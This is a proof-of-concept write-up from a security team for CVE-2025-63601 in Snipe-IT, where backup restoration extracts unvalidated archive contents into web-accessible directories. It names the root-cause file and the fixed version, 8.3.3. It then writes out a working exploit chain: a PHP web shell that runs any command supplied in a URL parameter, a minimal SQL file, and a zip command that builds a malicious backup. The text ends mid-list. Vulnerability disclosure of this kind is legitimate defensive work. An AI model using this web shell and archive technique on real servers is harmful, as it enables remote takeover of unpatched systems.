CVE-2025-63601: Proof of concept
Table of Contents
Safe Version: Snipe-IT 8.3.3 and later are not affected by this vulnerability.
For basic vulnerability information, please refer to:
CVE-2025-63601 describes an issue where Snipe-IT’s backup restoration mechanism fails to properly validate file types and extraction paths inside uploaded archives, allowing an attacker to smuggle malicious executable files into web-accessible directories. This ultimately enables arbitrary code execution on the server.

During internal security testing using FPT AppSec, the service highlighted a suspicious area within the Backup Restore feature of Snipe-IT. The scanner produced a warning related to improper file handling and potential for malicious file extraction inside the public/uploads directory. This indicated a possible Unrestricted File Upload or Archive Extraction Bypass vulnerability.

From that point, our engineering team began a manual deep-dive investigation.
By reviewing the Snipe-IT codebase and analyzing the flow produced by the scanner, we located the root cause inside: app/Console/Commands/RestoreFromBackup.php
The application defined allowed extensions but only applied them to a small subset of files (private/public logo files). Files inside directories extracted from the backup were never checked, meaning .php, .phtml, .htaccess, or any other executable file could be stored inside web-accessible directories such as:
Certain upload directories were whitelisted without sufficient validation or constraint, enabling extraction of attacker-controlled files into the DocumentRoot.
Because the extracted files were placed under the public/ directory, they were directly accessible from the browser, resulting in instant remote code execution.
The full chain matched the CVE description and confirmed a real-world exploit scenario.
This PoC is taken directly from our validated security report (included in the markdown file) and demonstrates the complete exploitation path.
Create a simple PHP web shell:
cat > public/uploads/accessories/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
EOF
Create a minimal SQL file required by the backup format:
cat > database.sql << 'EOF' -- Snipe-IT Database Backup -- Generated for RCE PoC CREATE TABLE IF NOT EXISTS poc_test (id INT); INSERT INTO poc_test VALUES (1); EOF
Package everything into a fake backup:
zip -r ui_rce_backup.zip public/ database.sql
This archive now contains:
public/uploads/accessories/shell.php ← malicious file database.sql ← valid structure


As shown in the internal analysis screenshot, the file is written into: /var/www/html/public/uploads/accessories/shell.php

Step 3 — Execute Commands via the Web Shell
This confirms Remote Code Execution.
FPT AppSec Research Team successfully reproduced CVE-2025-63601 and demonstrated a real attack chain showing: